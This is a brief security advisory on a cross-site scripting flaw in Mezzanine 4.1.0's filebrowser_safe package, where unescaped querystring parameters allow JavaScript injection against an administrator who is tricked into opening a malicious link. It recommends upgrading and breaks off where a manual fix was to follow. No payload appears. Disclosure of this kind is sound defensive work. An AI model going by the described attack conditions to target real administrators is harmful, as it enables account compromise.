================  
Mezzanine 4.1.0  
  
Mezzanine is an open source CMS built using the python based Django

Vulnerability Type:  
===================  
XSS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
XSS entry points exists within the filebrowser_safe package.  
  
In many areas throughout filebrowser, querystring parameters are passed  
directly into templates to form URLS for links and forms,  
and these were not being escaped correctly, therefore allowing arbitrary  
JavaScript code to be injected.  
  
In order to exploit this, a attacker would need to trick an authenticated  
administrator into clicking a malicious link  
or viewing a malicious web page containing the XSS payload.  
  
Resolution:  
Upgrade right away (pip install -U filebrowser_safe).  
  
If for some reason you're unable to upgrade seamlessly, here is the fix  
which you need to apply:
